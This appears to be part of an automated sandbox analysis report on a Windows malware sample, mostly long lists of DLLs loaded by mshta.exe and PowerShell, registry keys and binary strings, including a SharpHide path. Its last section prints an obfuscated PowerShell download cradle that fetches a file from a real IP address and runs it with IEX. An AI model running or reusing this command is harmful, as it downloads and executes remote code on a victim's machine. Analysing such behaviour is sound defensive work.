Source: C:\Windows\System32\mshta.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msimtf.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: jscript9.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior

Source: C:\Windows\System32\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{25336920-03F9-11cf-8FD0-00AA00686F13}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: \??\C:\Windows\System.Core.pdbpdbcr source: powershell.exe, 00000004.00000002.58389738530.0000015EAAFCA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\System.Core.pdb source: powershell.exe, 00000006.00000002.58452952666.0000025BB0288000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\System.Core.pdbpdbore.pdb91b8c6 source: powershell.exe, 00000006.00000002.58452952666.0000025BB0288000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\System.Management.Automation.pdbl source: powershell.exe, 00000004.00000002.58389738530.0000015EAAFCA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdbsM source: powershell.exe, 00000006.00000002.58452952666.0000025BB021E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Core.pdbFiles source: powershell.exe, 00000006.00000002.58452952666.0000025BB021E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdbgz source: powershell.exe, 00000004.00000002.58389738530.0000015EAAF2D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 00000004.00000002.58389738530.0000015EAAF2D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Core.pdb=C:\P source: powershell.exe, 00000006.00000002.58452952666.0000025BB021E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n.pdb source: powershell.exe, 00000006.00000002.58452952666.0000025BB01EF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\System.Core.pdbpdbore.pdb 158 Stepping 13, GenuineIntelPROCES source: powershell.exe, 00000004.00000002.58389738530.0000015EAAFCA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb[ source: powershell.exe, 00000006.00000002.58452952666.0000025BB01DD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Y]xn.pdb source: powershell.exe, 00000008.00000002.58462627995.00000199FF735000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: #.dll.pdb source: powershell.exe, 00000004.00000002.58302816703.0000015E92C84000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.58398618045.0000015EAB270000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.58310832394.0000025B97E94000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.58308550972.00000199803D4000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Core.pdbO source: powershell.exe, 00000006.00000002.58452952666.0000025BB021E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdb source: powershell.exe, 00000004.00000002.58389738530.0000015EAAF2D000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.58457730531.00000199FF4CC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000004.00000002.58389738530.0000015EAAFCA000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.58452952666.0000025BB021E000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.58462627995.00000199FF7D1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\System.Core.pdbo source: powershell.exe, 00000004.00000002.58389738530.0000015EAAFCA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n.pdbP source: powershell.exe, 00000008.00000002.58462627995.00000199FF735000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdbP source: powershell.exe, 00000008.00000002.58457730531.00000199FF4CC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\System.Core.pdbpdbore.pdb source: powershell.exe, 00000008.00000002.58462627995.00000199FF7D1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb source: powershell.exe, 00000008.00000002.58462627995.00000199FF7D1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdb( source: powershell.exe, 00000008.00000002.58457730531.00000199FF4CC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\System.Core.pdb+$m source: powershell.exe, 00000008.00000002.58462627995.00000199FF7D1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\System.Core.pdbO$I source: powershell.exe, 00000008.00000002.58462627995.00000199FF7D1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdbam F( source: powershell.exe, 00000004.00000002.58389738530.0000015EAAFCA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\System.Management.Automation.pdbpdbion.pdb4 source: powershell.exe, 00000004.00000002.58389738530.0000015EAAFCA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000004.00000002.58389738530.0000015EAAFCA000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.58452952666.0000025BB0288000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.58451615184.0000025BAFF33000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.58462627995.00000199FF720000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\System.Core.pdbuo source: powershell.exe, 00000004.00000002.58389738530.0000015EAAFCA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdbpdb source: powershell.exe, 00000006.00000002.58452952666.0000025BB01BB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdbID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32ersion=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 source: powershell.exe, 00000004.00000002.58389738530.0000015EAAFAE000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.58462627995.00000199FF7D1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Core.pdb source: powershell.exe, 00000004.00000002.58389738530.0000015EAAFCA000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.58457730531.00000199FF430000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Core.pdb source: powershell.exe, 00000008.00000002.58457730531.00000199FF430000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: powershell.exe, 00000004.00000002.58300790959.0000015E90C18000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.58451615184.0000025BAFF33000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.58462627995.00000199FF79C000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.58462627995.00000199FF720000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdbwA source: powershell.exe, 00000006.00000002.58452952666.0000025BB021E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdbl source: powershell.exe, 00000006.00000002.58452952666.0000025BB0288000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdbs source: powershell.exe, 00000008.00000002.58457730531.00000199FF4CC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: dows\System.Core.pdb source: powershell.exe, 00000008.00000002.58457730531.00000199FF430000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdbe source: powershell.exe, 00000004.00000002.58389738530.0000015EAAFCA000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.58452952666.0000025BB0288000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Core.pdbOlC source: powershell.exe, 00000006.00000002.58452952666.0000025BB021E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \SharpHide-master\SharpHide\obj\Debug\SharpHide.pdb source: powershell.exe, 00000004.00000002.58302816703.0000015E92C84000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.58302816703.0000015E92D73000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000B.00000002.58296660265.0000000000402000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdbk source: powershell.exe, 00000004.00000002.58300790959.0000015E90C18000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.58451615184.0000025BAFF33000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.58462627995.00000199FF720000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\System.Management.Automation.pdb source: powershell.exe, 00000004.00000002.58389738530.0000015EAAFCA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\System.Core.pdbL source: powershell.exe, 00000006.00000002.58452952666.0000025BB0288000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Suspicious powershell command line found

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://92.255.57.112/1/1.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC\|I`E`X
